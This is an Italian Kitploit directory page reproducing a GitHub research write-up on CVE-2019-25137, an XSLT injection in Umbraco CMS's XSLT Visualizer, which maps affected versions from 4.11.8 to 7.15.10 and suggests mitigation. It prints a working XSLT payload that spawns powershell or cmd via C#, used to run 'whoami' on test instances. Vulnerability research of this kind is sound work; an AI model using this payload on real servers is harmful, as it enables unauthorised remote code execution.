Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-25137-Version-Research — Un'analisi che indaga l'intera portata di CVE-2019-25137 | Kitploit
Strumenti/GitHubGitHub/ickarah/cve-2019-25137-version-research
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

Un'analisi che indaga l'intera portata di CVE-2019-25137

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
113 anni faNon ancora revisionato

Ricerca sulle versioni interessate da CVE-2019-25137


Panoramica di CVE-2019-25137


CVE-2019-25137 è una vulnerabilità di iniezione XSLT in Umbraco CMS. La vulnerabilità è presente nella pagina web XSLT (Extensive Stylesheet Language Transformations) Visualizer. L'URI vulnerabile per questa pagina web è /umbraco/developer/Xslt/xsltVisualize.aspx.

Lo sfruttamento riuscito del Visualizer XSLT può comportare l'esecuzione di codice C# sul sistema preso di mira. Per sfruttare la vulnerabilità, un utente necessita di credenziali di amministratore legittime per l'Umbraco CMS.

La proof of concept per CVE-2019-25137 utilizza l'elemento msxsl:script. Questo elemento consente di utilizzare linguaggi di programmazione aggiuntivi nelle trasformazioni XSLT, come C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

Il payload XSLT tenterà di eseguire il seguente codice C#.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

Il codice C# è suddiviso nelle seguenti istruzioni: tutte le definizioni sono documentate sul sito web di Microsoft.



Analisi delle versioni di Umbraco

Poiché Umbraco è un CMS open source, ho ottenuto diverse versioni di installazione dal loro sito web per determinare quali versioni, sia vecchie che nuove, possano ancora avere xsltVisualize.aspx presente.



L'analisi indica che il file xsltVisualize.aspx esiste in Umbraco CMS dalla versione 4.11.8 fino alla versione 7.15.10. Questo file e l'intera cartella Development non sono più presenti nelle versioni 8.0.0 e successive.




Test di Umbraco 4.11.8

Per dimostrare che anche la versione più vecchia è vulnerabile a CVE-2019-25137, ho configurato un'istanza di test di Umbraco 4.11.8.



Confrontando il file xsltVisualize.aspx di Umbraco CMS 4.11.8 con quello di Umbraco CMS versione 7.12.4 si dimostra che, sebbene ci siano piccole differenze, la funzionalità delle pagine web è la stessa.


Per testare l'exploit, l'utente deve inviare il payload nel campo xsltSelection.



Usando il payload fornito in precedenza, sono riuscito a ottenere l'esecuzione remota di codice, indicando che anche questa versione è vulnerabile. L'immagine seguente mostra l'esecuzione di whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Test di Umbraco 7.15.10

Per dimostrare che anche la versione più recente di Umbraco con xsltVisualize.aspx è vulnerabile, ho configurato un'istanza di test di Umbraco 7.15.10.


Confrontando il file xsltVisualize.aspx di Umbraco CMS 7.15.10 con quello di Umbraco CMS versione 7.12.4 si dimostra che sono identici.


Navigando verso l'URI /umbraco/developer/Xslt/xsltVisualize.aspx si evince che il file è effettivamente presente.


Usando lo stesso payload fornito in precedenza, sono riuscito di nuovo a ottenere l'esecuzione remota di codice, indicando che anche questa versione è vulnerabile. L'immagine seguente mostra l'esecuzione di whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Riepilogo


Questi esempi dimostrano che CVE-2019-25137 è presente in versioni di Umbraco diverse dalla 7.12.4. Tutte le versioni tra 4.11.8 e 7.15.10 contengono la pagina web vulnerabile e pertanto dovrebbero essere incluse nell'aggiornamento della CVE. CVE-2019-25137 può essere mitigata rimuovendo l'accesso al file xsltVisualize.aspx o aggiornando all'ultima versione di Umbraco.



Riferimenti

Original CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Umbraco Release Date- https://our.umbraco.com/download/releases/774

Umbraco Versions - https://our.umbraco.com/download/releases

XSLT Definition - https://en.wikipedia.org/wiki/XSLT

Payload Used - https://github.com/noraj/Umbraco-RCE

Scarica lo strumento
FunzionePanoramica
System.Diagnostics.Process procFornisce l'accesso ai processi locali e remoti e consente all'utente di avviare e arrestare i processi di sistema locali; questa istanza si chiama "proc".
proc.StartInfo.FileNameDefinisce il nome dell'applicazione che l'utente desidera avviare (powershell o cmd).
proc.StartInfo.ArgumentsDefinisce eventuali variabili aggiuntive che potrebbero essere necessarie a FileName.
proc.StartInfo.UseShellExecuteValore che indica se utilizzare la shell del sistema operativo per avviare il processo; è impostato su false poiché viene usato powershell o cmd.
proc.StartInfo.RedirectStandardOutputValore che indica se l'output di un'applicazione viene scritto nel flusso StandardOutput; è impostato su true.
proc.Start()Avvia la risorsa di processo "proc" e la associa a un componente Process.
string output = proc.StandardOutput.ReadToEnd()Esegue operazioni di lettura sincrona su "proc" e le reindirizza alla variabile "output".